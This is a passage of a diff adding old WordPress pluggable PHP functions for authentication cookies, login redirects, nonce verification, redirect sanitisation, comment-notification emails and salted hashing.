+ * @param string $scheme Optional. The cookie scheme to use: auth, secure_auth, or logged_in
+ * @return string Authentication cookie contents
+ */
+function wp_generate_auth_cookie($user_id, $expiration, $scheme = 'auth') {
+	$user = get_userdata($user_id);
+
+	$pass_frag = substr($user->user_pass, 8, 4);
+
+	$key = wp_hash($user->user_login . $pass_frag . '|' . $expiration, $scheme);
+	$hash = hash_hmac('md5', $user->user_login . '|' . $expiration, $key);
+
+	$cookie = $user->user_login . '|' . $expiration . '|' . $hash;
+
+	return apply_filters('auth_cookie', $cookie, $user_id, $expiration, $scheme);
+}
+endif;
+
+if ( !function_exists('wp_parse_auth_cookie') ) :
+/**
+ * Parse a cookie into its components
+ *
+ * @since 2.7
+ *
+ * @param string $cookie
+ * @param string $scheme Optional. The cookie scheme to use: auth, secure_auth, or logged_in
+ * @return array Authentication cookie components
+ */
+function wp_parse_auth_cookie($cookie = '', $scheme = '') {
+	if ( empty($cookie) ) {
+		switch ($scheme){
+			case 'auth':
+				$cookie_name = AUTH_COOKIE;
+				break;
+			case 'secure_auth':
+				$cookie_name = SECURE_AUTH_COOKIE;
+				break;
+			case "logged_in":
+				$cookie_name = LOGGED_IN_COOKIE;
+				break;
+			default:
+				if ( is_ssl() ) {
+					$cookie_name = SECURE_AUTH_COOKIE;
+					$scheme = 'secure_auth';
+				} else {
+					$cookie_name = AUTH_COOKIE;
+					$scheme = 'auth';
+				}
+	    }
+
+		if ( empty($_COOKIE[$cookie_name]) )
+			return false;
+		$cookie = $_COOKIE[$cookie_name];
+	}
+
+	$cookie_elements = explode('|', $cookie);
+	if ( count($cookie_elements) != 3 )
+		return false;
+
+	list($username, $expiration, $hmac) = $cookie_elements;
+
+	return compact('username', 'expiration', 'hmac', 'scheme');
+}
+endif;
+
+if ( !function_exists('wp_set_auth_cookie') ) :
+/**
+ * Sets the authentication cookies based User ID.
+ *
+ * The $remember parameter increases the time that the cookie will be kept. The
+ * default the cookie is kept without remembering is two days. When $remember is
+ * set, the cookies will be kept for 14 days or two weeks.
+ *
+ * @since 2.5
+ *
+ * @param int $user_id User ID
+ * @param bool $remember Whether to remember the user or not
+ */
+function wp_set_auth_cookie($user_id, $remember = false, $secure = '') {
+	if ( $remember ) {
+		$expiration = $expire = time() + apply_filters('auth_cookie_expiration', 1209600, $user_id, $remember);
+	} else {
+		$expiration = time() + apply_filters('auth_cookie_expiration', 172800, $user_id, $remember);
+		$expire = 0;
+	}
+
+	if ( '' === $secure )
+		$secure = is_ssl() ? true : false;
+
+	if ( $secure ) {
+		$auth_cookie_name = SECURE_AUTH_COOKIE;
+		$scheme = 'secure_auth';
+	} else {
+		$auth_cookie_name = AUTH_COOKIE;
+		$scheme = 'auth';
+	}
+
+	$auth_cookie = wp_generate_auth_cookie($user_id, $expiration, $scheme);
+	$logged_in_cookie = wp_generate_auth_cookie($user_id, $expiration, 'logged_in');
+
+	do_action('set_auth_cookie', $auth_cookie, $expire, $expiration, $user_id, $scheme);
+	do_action('set_logged_in_cookie', $logged_in_cookie, $expire, $expiration, $user_id, 'logged_in');
+
+	// Set httponly if the php version is >= 5.2.0
+	if ( version_compare(phpversion(), '5.2.0', 'ge') ) {
+		setcookie($auth_cookie_name, $auth_cookie, $expire, PLUGINS_COOKIE_PATH, COOKIE_DOMAIN, $secure, true);
+		setcookie($auth_cookie_name, $auth_cookie, $expire, ADMIN_COOKIE_PATH, COOKIE_DOMAIN, $secure, true);
+		setcookie(LOGGED_IN_COOKIE, $logged_in_cookie, $expire, COOKIEPATH, COOKIE_DOMAIN, false, true);
+		if ( COOKIEPATH != SITECOOKIEPATH )
+			setcookie(LOGGED_IN_COOKIE, $logged_in_cookie, $expire, SITECOOKIEPATH, COOKIE_DOMAIN, false, true);
+	} else {
+		$cookie_domain = COOKIE_DOMAIN;
+		if ( !empty($cookie_domain) )
+			$cookie_domain .= '; HttpOnly';
+		setcookie($auth_cookie_name, $auth_cookie, $expire, PLUGINS_COOKIE_PATH, $cookie_domain, $secure);
+		setcookie($auth_cookie_name, $auth_cookie, $expire, ADMIN_COOKIE_PATH, $cookie_domain, $secure);
+		setcookie(LOGGED_IN_COOKIE, $logged_in_cookie, $expire, COOKIEPATH, $cookie_domain);
+		if ( COOKIEPATH != SITECOOKIEPATH )
+			setcookie(LOGGED_IN_COOKIE, $logged_in_cookie, $expire, SITECOOKIEPATH, $cookie_domain);
+	}
+}
+endif;
+
+if ( !function_exists('wp_clear_auth_cookie') ) :
+/**
+ * Removes all of the cookies associated with authentication.
+ *
+ * @since 2.5
+ */
+function wp_clear_auth_cookie() {
+	do_action('clear_auth_cookie');
+
+	setcookie(AUTH_COOKIE, ' ', time() - 31536000, ADMIN_COOKIE_PATH, COOKIE_DOMAIN);
+	setcookie(SECURE_AUTH_COOKIE, ' ', time() - 31536000, ADMIN_COOKIE_PATH, COOKIE_DOMAIN);
+	setcookie(AUTH_COOKIE, ' ', time() - 31536000, PLUGINS_COOKIE_PATH, COOKIE_DOMAIN);
+	setcookie(SECURE_AUTH_COOKIE, ' ', time() - 31536000, PLUGINS_COOKIE_PATH, COOKIE_DOMAIN);
+	setcookie(LOGGED_IN_COOKIE, ' ', time() - 31536000, COOKIEPATH, COOKIE_DOMAIN);
+	setcookie(LOGGED_IN_COOKIE, ' ', time() - 31536000, SITECOOKIEPATH, COOKIE_DOMAIN);
+
+	// Old cookies
+	setcookie(AUTH_COOKIE, ' ', time() - 31536000, COOKIEPATH, COOKIE_DOMAIN);
+	setcookie(AUTH_COOKIE, ' ', time() - 31536000, SITECOOKIEPATH, COOKIE_DOMAIN);
+	setcookie(SECURE_AUTH_COOKIE, ' ', time() - 31536000, COOKIEPATH, COOKIE_DOMAIN);
+	setcookie(SECURE_AUTH_COOKIE, ' ', time() - 31536000, SITECOOKIEPATH, COOKIE_DOMAIN);
+
+	// Even older cookies
+	setcookie(USER_COOKIE, ' ', time() - 31536000, COOKIEPATH, COOKIE_DOMAIN);
+	setcookie(PASS_COOKIE, ' ', time() - 31536000, COOKIEPATH, COOKIE_DOMAIN);
+	setcookie(USER_COOKIE, ' ', time() - 31536000, SITECOOKIEPATH, COOKIE_DOMAIN);
+	setcookie(PASS_COOKIE, ' ', time() - 31536000, SITECOOKIEPATH, COOKIE_DOMAIN);
+}
+endif;
+
+if ( !function_exists('is_user_logged_in') ) :
+/**
+ * Checks if the current visitor is a logged in user.
+ *
+ * @since 2.0.0
+ *
+ * @return bool True if user is logged in, false if not logged in.
+ */
+function is_user_logged_in() {
+	$user = wp_get_current_user();
+
+	if ( $user->id == 0 )
+		return false;
+
+	return true;
+}
+endif;
+
+if ( !function_exists('auth_redirect') ) :
+/**
+ * Checks if a user is logged in, if not it redirects them to the login page.
+ *
+ * @since 1.5
+ */
+function auth_redirect() {
+	// Checks if a user is logged in, if not redirects them to the login page
+
+	if ( is_ssl() || force_ssl_admin() )
+		$secure = true;
+	else
+		$secure = false;
+
+	// If https is required and request is http, redirect
+	if ( $secure && !is_ssl() && false !== strpos($_SERVER['REQUEST_URI'], 'wp-admin') ) {
+		if ( 0 === strpos($_SERVER['REQUEST_URI'], 'http') ) {
+			wp_redirect(preg_replace('|^http://|', 'https://', $_SERVER['REQUEST_URI']));
+			exit();
+		} else {
+			wp_redirect('https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
+			exit();
+		}
+	}
+
+	if ( $user_id = wp_validate_auth_cookie() ) {
+		do_action('auth_redirect', $user_id);
+
+		// If the user wants ssl but the session is not ssl, redirect.
+		if ( !$secure && get_user_option('use_ssl', $user_id) && false !== strpos($_SERVER['REQUEST_URI'], 'wp-admin') ) {
+			if ( 0 === strpos($_SERVER['REQUEST_URI'], 'http') ) {
+				wp_redirect(preg_replace('|^http://|', 'https://', $_SERVER['REQUEST_URI']));
+				exit();
+			} else {
+				wp_redirect('https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
+				exit();
+			}
+		}
+
+		return;  // The cookie is good so we're done
+	}
+
+	// The cookie is no good so force login
+	nocache_headers();
+
+	if ( is_ssl() )
+		$proto = 'https://';
+	else
+		$proto = 'http://';
+
+	$redirect = ( strpos($_SERVER['REQUEST_URI'], '/options.php') && wp_get_referer() ) ? wp_get_referer() : $proto . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
+
+	$login_url = wp_login_url($redirect);
+
+	wp_redirect($login_url);
+	exit();
+}
+endif;
+
+if ( !function_exists('check_admin_referer') ) :
+/**
+ * Makes sure that a user was referred from another admin page.
+ *
+ * To avoid security exploits.
+ *
+ * @since 1.2.0
+ * @uses do_action() Calls 'check_admin_referer' on $action.
+ *
+ * @param string $action Action nonce
+ * @param string $query_arg where to look for nonce in $_REQUEST (since 2.5)
+ */
+function check_admin_referer($action = -1, $query_arg = '_wpnonce') {
+	$adminurl = strtolower(admin_url());
+	$referer = strtolower(wp_get_referer());
+	$result = isset($_REQUEST[$query_arg]) ? wp_verify_nonce($_REQUEST[$query_arg], $action) : false;
+	if ( !$result && !(-1 == $action && strpos($referer, $adminurl) !== false) ) {
+		wp_nonce_ays($action);
+		die();
+	}
+	do_action('check_admin_referer', $action, $result);
+	return $result;
+}endif;
+
+if ( !function_exists('check_ajax_referer') ) :
+/**
+ * Verifies the AJAX request to prevent processing requests external of the blog.
+ *
+ * @since 2.0.3
+ *
+ * @param string $action Action nonce
+ * @param string $query_arg where to look for nonce in $_REQUEST (since 2.5)
+ */
+function check_ajax_referer( $action = -1, $query_arg = false, $die = true ) {
+	if ( $query_arg )
+		$nonce = $_REQUEST[$query_arg];
+	else
+		$nonce = $_REQUEST['_ajax_nonce'] ? $_REQUEST['_ajax_nonce'] : $_REQUEST['_wpnonce'];
+
+	$result = wp_verify_nonce( $nonce, $action );
+
+	if ( $die && false == $result )
+		die('-1');
+
+	do_action('check_ajax_referer', $action, $result);
+
+	return $result;
+}
+endif;
+
+if ( !function_exists('wp_redirect') ) :
+/**
+ * Redirects to another page, with a workaround for the IIS Set-Cookie bug.
+ *
+ * @link http://support.microsoft.com/kb/q176113/
+ * @since 1.5.1
+ * @uses apply_filters() Calls 'wp_redirect' hook on $location and $status.
+ *
+ * @param string $location The path to redirect to
+ * @param int $status Status code to use
+ * @return bool False if $location is not set
+ */
+function wp_redirect($location, $status = 302) {
+	global $is_IIS;
+
+	$location = apply_filters('wp_redirect', $location, $status);
+	$status = apply_filters('wp_redirect_status', $status, $location);
+
+	if ( !$location ) // allows the wp_redirect filter to cancel a redirect
+		return false;
+
+	$location = wp_sanitize_redirect($location);
+
+	if ( $is_IIS ) {
+		header("Refresh: 0;url=$location");
+	} else {
+		if ( php_sapi_name() != 'cgi-fcgi' )
+			status_header($status); // This causes problems on IIS and some FastCGI setups
+		header("Location: $location");
+	}
+}
+endif;
+
+if ( !function_exists('wp_sanitize_redirect') ) :
+/**
+ * Sanitizes a URL for use in a redirect.
+ *
+ * @since 2.3
+ *
+ * @return string redirect-sanitized URL
+ **/
+function wp_sanitize_redirect($location) {
+	$location = preg_replace('|[^a-z0-9-~+_.?#=&;,/:%!]|i', '', $location);
+	$location = wp_kses_no_null($location);
+
+	// remove %0d and %0a from location
+	$strip = array('%0d', '%0a', '%0D', '%0A');
+	$location = _deep_replace($strip, $location);
+	return $location;
+}
+endif;
+
+if ( !function_exists('wp_safe_redirect') ) :
+/**
+ * Performs a safe (local) redirect, using wp_redirect().
+ *
+ * Checks whether the $location is using an allowed host, if it has an absolute
+ * path. A plugin can therefore set or remove allowed host(s) to or from the
+ * list.
+ *
+ * If the host is not allowed, then the redirect is to wp-admin on the siteurl
+ * instead. This prevents malicious redirects which redirect to another host,
+ * but only used in a few places.
+ *
+ * @since 2.3
+ * @uses wp_validate_redirect() To validate the redirect is to an allowed host.
+ *
+ * @return void Does not return anything
+ **/
+function wp_safe_redirect($location, $status = 302) {
+
+	// Need to look at the URL the way it will end up in wp_redirect()
+	$location = wp_sanitize_redirect($location);
+
+	$location = wp_validate_redirect($location, admin_url());
+
+	wp_redirect($location, $status);
+}
+endif;
+
+if ( !function_exists('wp_validate_redirect') ) :
+/**
+ * Validates a URL for use in a redirect.
+ *
+ * Checks whether the $location is using an allowed host, if it has an absolute
+ * path. A plugin can therefore set or remove allowed host(s) to or from the
+ * list.
+ *
+ * If the host is not allowed, then the redirect is to $default supplied
+ *
+ * @since 2.8.1
+ * @uses apply_filters() Calls 'allowed_redirect_hosts' on an array containing
+ *		WordPress host string and $location host string.
+ *
+ * @param string $location The redirect to validate
+ * @param string $default The value to return is $location is not allowed
+ * @return string redirect-sanitized URL
+ **/
+function wp_validate_redirect($location, $default = '') {
+	// browsers will assume 'http' is your protocol, and will obey a redirect to a URL starting with '//'
+	if ( substr($location, 0, 2) == '//' )
+		$location = 'http:' . $location;
+
+	// In php 5 parse_url may fail if the URL query part contains http://, bug #38143
+	$test = ( $cut = strpos($location, '?') ) ? substr( $location, 0, $cut ) : $location;
+
+	$lp  = parse_url($test);
+	$wpp = parse_url(get_option('home'));
+
+	$allowed_hosts = (array) apply_filters('allowed_redirect_hosts', array($wpp['host']), isset($lp['host']) ? $lp['host'] : '');
+
+	if ( isset($lp['host']) && ( !in_array($lp['host'], $allowed_hosts) && $lp['host'] != strtolower($wpp['host'])) )
+		$location = $default;
+
+	return $location;
+}
+endif;
+
+if ( ! function_exists('wp_notify_postauthor') ) :
+/**
+ * Notify an author of a comment/trackback/pingback to one of their posts.
+ *
+ * @since 1.0.0
+ *
+ * @param int $comment_id Comment ID
+ * @param string $comment_type Optional. The comment type either 'comment' (default), 'trackback', or 'pingback'
+ * @return bool False if user email does not exist. True on completion.
+ */
+function wp_notify_postauthor($comment_id, $comment_type='') {
+	$comment = get_comment($comment_id);
+	$post    = get_post($comment->comment_post_ID);
+	$user    = get_userdata( $post->post_author );
+	$current_user = wp_get_current_user();
+
+	if ( $comment->user_id == $post->post_author ) return false; // The author moderated a comment on his own post
+
+	if ('' == $user->user_email) return false; // If there's no email to send the comment to
+
+	$comment_author_domain = @gethostbyaddr($comment->comment_author_IP);
+
+	$blogname = get_option('blogname');
+
+	if ( empty( $comment_type ) ) $comment_type = 'comment';
+
+	if ('comment' == $comment_type) {
+		/* translators: 1: post id, 2: post title */
+		$notify_message  = sprintf( __('New comment on your post #%1$s "%2$s"'), $comment->comment_post_ID, $post->post_title ) . "\r\n";
+		/* translators: 1: comment author, 2: author IP, 3: author domain */
+		$notify_message .= sprintf( __('Author : %1$s (IP: %2$s , %3$s)'), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n";
+		$notify_message .= sprintf( __('E-mail : %s'), $comment->comment_author_email ) . "\r\n";
+		$notify_message .= sprintf( __('URL    : %s'), $comment->comment_author_url ) . "\r\n";
+		$notify_message .= sprintf( __('Whois  : http://ws.arin.net/cgi-bin/whois.pl?queryinput=%s'), $comment->comment_author_IP ) . "\r\n";
+		$notify_message .= __('Comment: ') . "\r\n" . $comment->comment_content . "\r\n\r\n";
+		$notify_message .= __('You can see all comments on this post here: ') . "\r\n";
+		/* translators: 1: blog name, 2: post title */
+		$subject = sprintf( __('[%1$s] Comment: "%2$s"'), $blogname, $post->post_title );
+	} elseif ('trackback' == $comment_type) {
+		/* translators: 1: post id, 2: post title */
+		$notify_message  = sprintf( __('New trackback on your post #%1$s "%2$s"'), $comment->comment_post_ID, $post->post_title ) . "\r\n";
+		/* translators: 1: website name, 2: author IP, 3: author domain */
+		$notify_message .= sprintf( __('Website: %1$s (IP: %2$s , %3$s)'), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n";
+		$notify_message .= sprintf( __('URL    : %s'), $comment->comment_author_url ) . "\r\n";
+		$notify_message .= __('Excerpt: ') . "\r\n" . $comment->comment_content . "\r\n\r\n";
+		$notify_message .= __('You can see all trackbacks on this post here: ') . "\r\n";
+		/* translators: 1: blog name, 2: post title */		
+		$subject = sprintf( __('[%1$s] Trackback: "%2$s"'), $blogname, $post->post_title );
+	} elseif ('pingback' == $comment_type) {
+		/* translators: 1: post id, 2: post title */
+		$notify_message  = sprintf( __('New pingback on your post #%1$s "%2$s"'), $comment->comment_post_ID, $post->post_title ) . "\r\n";
+		/* translators: 1: comment author, 2: author IP, 3: author domain */
+		$notify_message .= sprintf( __('Website: %1$s (IP: %2$s , %3$s)'), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n";
+		$notify_message .= sprintf( __('URL    : %s'), $comment->comment_author_url ) . "\r\n";
+		$notify_message .= __('Excerpt: ') . "\r\n" . sprintf('[...] %s [...]', $comment->comment_content ) . "\r\n\r\n";
+		$notify_message .= __('You can see all pingbacks on this post here: ') . "\r\n";
+		/* translators: 1: blog name, 2: post title */
+		$subject = sprintf( __('[%1$s] Pingback: "%2$s"'), $blogname, $post->post_title );
+	}
+	$notify_message .= get_permalink($comment->comment_post_ID) . "#comments\r\n\r\n";
+	$notify_message .= sprintf( __('Delete it: %s'), admin_url("comment.php?action=cdc&c=$comment_id") ) . "\r\n";
+	$notify_message .= sprintf( __('Spam it: %s'), admin_url("comment.php?action=cdc&dt=spam&c=$comment_id") ) . "\r\n";
+
+	$wp_email = 'wordpress@' . preg_replace('#^www\.#', '', strtolower($_SERVER['SERVER_NAME']));
+
+	if ( '' == $comment->comment_author ) {
+		$from = "From: \"$blogname\" <$wp_email>";
+		if ( '' != $comment->comment_author_email )
+			$reply_to = "Reply-To: $comment->comment_author_email";
+	} else {
+		$from = "From: \"$comment->comment_author\" <$wp_email>";
+		if ( '' != $comment->comment_author_email )
+			$reply_to = "Reply-To: \"$comment->comment_author_email\" <$comment->comment_author_email>";
+	}
+
+	$message_headers = "$from\n"
+		. "Content-Type: text/plain; charset=\"" . get_option('blog_charset') . "\"\n";
+
+	if ( isset($reply_to) )
+		$message_headers .= $reply_to . "\n";
+
+	$notify_message = apply_filters('comment_notification_text', $notify_message, $comment_id);
+	$subject = apply_filters('comment_notification_subject', $subject, $comment_id);
+	$message_headers = apply_filters('comment_notification_headers', $message_headers, $comment_id);
+
+	@wp_mail($user->user_email, $subject, $notify_message, $message_headers);
+
+	return true;
+}
+endif;
+
+if ( !function_exists('wp_notify_moderator') ) :
+/**
+ * Notifies the moderator of the blog about a new comment that is awaiting approval.
+ *
+ * @since 1.0
+ * @uses $wpdb
+ *
+ * @param int $comment_id Comment ID
+ * @return bool Always returns true
+ */
+function wp_notify_moderator($comment_id) {
+	global $wpdb;
+
+	if( get_option( "moderation_notify" ) == 0 )
+		return true;
+
+	$comment = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->comments WHERE comment_ID=%d LIMIT 1", $comment_id));
+	$post = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->posts WHERE ID=%d LIMIT 1", $comment->comment_post_ID));
+
+	$comment_author_domain = @gethostbyaddr($comment->comment_author_IP);
+	$comments_waiting = $wpdb->get_var("SELECT count(comment_ID) FROM $wpdb->comments WHERE comment_approved = '0'");
+
+	switch ($comment->comment_type)
+	{
+		case 'trackback':
+			$notify_message  = sprintf( __('A new trackback on the post #%1$s "%2$s" is waiting for your approval'), $post->ID, $post->post_title ) . "\r\n";
+			$notify_message .= get_permalink($comment->comment_post_ID) . "\r\n\r\n";
+			$notify_message .= sprintf( __('Website : %1$s (IP: %2$s , %3$s)'), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n";
+			$notify_message .= sprintf( __('URL    : %s'), $comment->comment_author_url ) . "\r\n";
+			$notify_message .= __('Trackback excerpt: ') . "\r\n" . $comment->comment_content . "\r\n\r\n";
+			break;
+		case 'pingback':
+			$notify_message  = sprintf( __('A new pingback on the post #%1$s "%2$s" is waiting for your approval'), $post->ID, $post->post_title ) . "\r\n";
+			$notify_message .= get_permalink($comment->comment_post_ID) . "\r\n\r\n";
+			$notify_message .= sprintf( __('Website : %1$s (IP: %2$s , %3$s)'), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n";
+			$notify_message .= sprintf( __('URL    : %s'), $comment->comment_author_url ) . "\r\n";
+			$notify_message .= __('Pingback excerpt: ') . "\r\n" . $comment->comment_content . "\r\n\r\n";
+			break;
+		default: //Comments
+			$notify_message  = sprintf( __('A new comment on the post #%1$s "%2$s" is waiting for your approval'), $post->ID, $post->post_title ) . "\r\n";
+			$notify_message .= get_permalink($comment->comment_post_ID) . "\r\n\r\n";
+			$notify_message .= sprintf( __('Author : %1$s (IP: %2$s , %3$s)'), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n";
+			$notify_message .= sprintf( __('E-mail : %s'), $comment->comment_author_email ) . "\r\n";
+			$notify_message .= sprintf( __('URL    : %s'), $comment->comment_author_url ) . "\r\n";
+			$notify_message .= sprintf( __('Whois  : http://ws.arin.net/cgi-bin/whois.pl?queryinput=%s'), $comment->comment_author_IP ) . "\r\n";
+			$notify_message .= __('Comment: ') . "\r\n" . $comment->comment_content . "\r\n\r\n";
+			break;
+	}
+
+	$notify_message .= sprintf( __('Approve it: %s'),  admin_url("comment.php?action=mac&c=$comment_id") ) . "\r\n";
+	$notify_message .= sprintf( __('Delete it: %s'), admin_url("comment.php?action=cdc&c=$comment_id") ) . "\r\n";
+	$notify_message .= sprintf( __('Spam it: %s'), admin_url("comment.php?action=cdc&dt=spam&c=$comment_id") ) . "\r\n";
+
+	$notify_message .= sprintf( _n('Currently %s comment is waiting for approval. Please visit the moderation panel:',
+ 		'Currently %s comments are waiting for approval. Please visit the moderation panel:', $comments_waiting), number_format_i18n($comments_waiting) ) . "\r\n";
+	$notify_message .= admin_url("edit-comments.php?comment_status=moderated") . "\r\n";
+
+	$subject = sprintf( __('[%1$s] Please moderate: "%2$s"'), get_option('blogname'), $post->post_title );
+	$admin_email = get_option('admin_email');
+	$message_headers = '';
+
+	$notify_message = apply_filters('comment_moderation_text', $notify_message, $comment_id);
+	$subject = apply_filters('comment_moderation_subject', $subject, $comment_id);
+	$message_headers = apply_filters('comment_moderation_headers', $message_headers);
+
+	@wp_mail($admin_email, $subject, $notify_message, $message_headers);
+
+	return true;
+}
+endif;
+
+if ( !function_exists('wp_password_change_notification') ) :
+/**
+ * Notify the blog admin of a user changing password, normally via email.
+ *
+ * @since 2.7
+ *
+ * @param object $user User Object
+ */
+function wp_password_change_notification(&$user) {
+	// send a copy of password change notification to the admin
+	// but check to see if it's the admin whose password we're changing, and skip this
+	if ( $user->user_email != get_option('admin_email') ) {
+		$message = sprintf(__('Password Lost and Changed for user: %s'), $user->user_login) . "\r\n";
+		wp_mail(get_option('admin_email'), sprintf(__('[%s] Password Lost/Changed'), get_option('blogname')), $message);
+	}
+}
+endif;
+
+if ( !function_exists('wp_new_user_notification') ) :
+/**
+ * Notify the blog admin of a new user, normally via email.
+ *
+ * @since 2.0
+ *
+ * @param int $user_id User ID
+ * @param string $plaintext_pass Optional. The user's plaintext password
+ */
+function wp_new_user_notification($user_id, $plaintext_pass = '') {
+	$user = new WP_User($user_id);
+
+	$user_login = stripslashes($user->user_login);
+	$user_email = stripslashes($user->user_email);
+
+	$message  = sprintf(__('New user registration on your blog %s:'), get_option('blogname')) . "\r\n\r\n";
+	$message .= sprintf(__('Username: %s'), $user_login) . "\r\n\r\n";
+	$message .= sprintf(__('E-mail: %s'), $user_email) . "\r\n";
+
+	@wp_mail(get_option('admin_email'), sprintf(__('[%s] New User Registration'), get_option('blogname')), $message);
+
+	if ( empty($plaintext_pass) )
+		return;
+
+	$message  = sprintf(__('Username: %s'), $user_login) . "\r\n";
+	$message .= sprintf(__('Password: %s'), $plaintext_pass) . "\r\n";
+	$message .= wp_login_url() . "\r\n";
+
+	wp_mail($user_email, sprintf(__('[%s] Your username and password'), get_option('blogname')), $message);
+
+}
+endif;
+
+if ( !function_exists('wp_nonce_tick') ) :
+/**
+ * Get the time-dependent variable for nonce creation.
+ *
+ * A nonce has a lifespan of two ticks. Nonces in their second tick may be
+ * updated, e.g. by autosave.
+ *
+ * @since 2.5
+ *
+ * @return int
+ */
+function wp_nonce_tick() {
+	$nonce_life = apply_filters('nonce_life', 86400);
+
+	return ceil(time() / ( $nonce_life / 2 ));
+}
+endif;
+
+if ( !function_exists('wp_verify_nonce') ) :
+/**
+ * Verify that correct nonce was used with time limit.
+ *
+ * The user is given an amount of time to use the token, so therefore, since the
+ * UID and $action remain the same, the independent variable is the time.
+ *
+ * @since 2.0.3
+ *
+ * @param string $nonce Nonce that was used in the form to verify
+ * @param string|int $action Should give context to what is taking place and be the same when nonce was created.
+ * @return bool Whether the nonce check passed or failed.
+ */
+function wp_verify_nonce($nonce, $action = -1) {
+	$user = wp_get_current_user();
+	$uid = (int) $user->id;
+
+	$i = wp_nonce_tick();
+
+	// Nonce generated 0-12 hours ago
+	if ( substr(wp_hash($i . $action . $uid, 'nonce'), -12, 10) == $nonce )
+		return 1;
+	// Nonce generated 12-24 hours ago
+	if ( substr(wp_hash(($i - 1) . $action . $uid, 'nonce'), -12, 10) == $nonce )
+		return 2;
+	// Invalid nonce
+	return false;
+}
+endif;
+
+if ( !function_exists('wp_create_nonce') ) :
+/**
+ * Creates a random, one time use token.
+ *
+ * @since 2.0.3
+ *
+ * @param string|int $action Scalar value to add context to the nonce.
+ * @return string The one use form token
+ */
+function wp_create_nonce($action = -1) {
+	$user = wp_get_current_user();
+	$uid = (int) $user->id;
+
+	$i = wp_nonce_tick();
+
+	return substr(wp_hash($i . $action . $uid, 'nonce'), -12, 10);
+}
+endif;
+
+if ( !function_exists('wp_salt') ) :
+/**
+ * Get salt to add to hashes to help prevent attacks.
+ *
+ * The secret key is located in two places: the database in case the secret key
+ * isn't defined in the second place, which is in the wp-config.php file. If you
+ * are going to set the secret key, then you must do so in the wp-config.php
+ * file.
+ *
+ * The secret key in the database is randomly generated and will be appended to
+ * the secret key that is in wp-config.php file in some instances. It is
+ * important to have the secret key defined or changed in wp-config.php.
+ *
+ * If you have installed WordPress 2.5 or later, then you will have the
+ * SECRET_KEY defined in the wp-config.php already. You will want to change the
+ * value in it because hackers will know what it is. If you have upgraded to
+ * WordPress 2.5 or later version from a version before WordPress 2.5, then you
+ * should add the constant to your wp-config.php file.
+ *
+ * Below is an example of how the SECRET_KEY constant is defined with a value.
+ * You must not copy the below example and paste into your wp-config.php. If you
+ * need an example, then you can have a
+ * {@link https://api.wordpress.org/secret-key/1.1/ secret key created} for you.
+ *
+ * <code>
+ * define('SECRET_KEY', 'mAry1HadA15|\/|b17w55w1t3asSn09w');
+ * </code>
+ *
+ * Salting passwords helps against tools which has stored hashed values of
+ * common dictionary strings. The added values makes it harder to crack if given
+ * salt string is not weak.
+ *
+ * @since 2.5
+ * @link https://api.wordpress.org/secret-key/1.1/ Create a Secret Key for wp-config.php
+ *
+ * @return string Salt value from either 'SECRET_KEY' or 'secret' option
+ */
+function wp_salt($scheme = 'auth') {
+	global $wp_default_secret_key;
+	$secret_key = '';
+	if ( defined('SECRET_KEY') && ('' != SECRET_KEY) && ( $wp_default_secret_key != SECRET_KEY) )
+		$secret_key = SECRET_KEY;
+
+	if ( 'auth' == $scheme ) {
+		if ( defined('AUTH_KEY') && ('' != AUTH_KEY) && ( $wp_default_secret_key != AUTH_KEY) )
+			$secret_key = AUTH_KEY;
+
+		if ( defined('AUTH_SALT') ) {
+			$salt = AUTH_SALT;
+		} elseif ( defined('SECRET_SALT') ) {
+			$salt = SECRET_SALT;
+		} else {
+			$salt = get_option('auth_salt');
+			if ( empty($salt) ) {
+				$salt = wp_generate_password(64);
+				update_option('auth_salt', $salt);
+			}
+		}
+	} elseif ( 'secure_auth' == $scheme ) {
+		if ( defined('SECURE_AUTH_KEY') && ('' != SECURE_AUTH_KEY) && ( $wp_default_secret_key != SECURE_AUTH_KEY) )
+			$secret_key = SECURE_AUTH_KEY;
+
+		if ( defined('SECURE_AUTH_SALT') ) {
+			$salt = SECURE_AUTH_SALT;
+		} else {
+			$salt = get_option('secure_auth_salt');
+			if ( empty($salt) ) {
+				$salt = wp_generate_password(64);
+				update_option('secure_auth_salt', $salt);
+			}
+		}
+	} elseif ( 'logged_in' == $scheme ) {
+		if ( defined('LOGGED_IN_KEY') && ('' != LOGGED_IN_KEY) && ( $wp_default_secret_key != LOGGED_IN_KEY) )
+			$secret_key = LOGGED_IN_KEY;
+
+		if ( defined('LOGGED_IN_SALT') ) {
+			$salt = LOGGED_IN_SALT;
+		} else {
+			$salt = get_option('logged_in_salt');
+			if ( empty($salt) ) {
+				$salt = wp_generate_password(64);
+				update_option('logged_in_salt', $salt);
+			}
+		}
+	} elseif ( 'nonce' == $scheme ) {
+		if ( defined('NONCE_KEY') && ('' != NONCE_KEY) && ( $wp_default_secret_key != NONCE_KEY) )
+			$secret_key = NONCE_KEY;
+
+		if ( defined('NONCE_SALT') ) {
+			$salt = NONCE_SALT;
+		} else {
+			$salt = get_option('nonce_salt');
+			if ( empty($salt) ) {
+				$salt = wp_generate_password(64);
+				update_option('nonce_salt', $salt);
+			}
+		}
+	} else {
+		// ensure each auth scheme has its own unique salt
+		$salt = hash_hmac('md5', $scheme, $secret_key);
+	}
+
+	return apply_filters('salt', $secret_key . $salt, $scheme);
+}
+endif;
+
+if ( !function_exists('wp_hash') ) :
+/**
+ * Get hash of given string.
+ *
+ * @since 2.0.3
+ * @uses wp_salt() Get WordPress salt
+ *
+ * @param string $data Plain text to hash
+ * @return string Hash of $data
+ */
+function wp_hash($data, $scheme = 'auth') {
+	$salt = wp_salt($scheme);
+
+	return hash_hmac('md5', $data, $salt);
+}
+endif;
+
+if ( !function_exists('wp_hash_password') ) :
+/**
+ * Create a hash (encrypt) of a plain text password.
+ *
+ * For integration with other applications, this function can be overwritten to
+ * instead use the other package password checking algorithm.
+ *
+ * @since 2.5
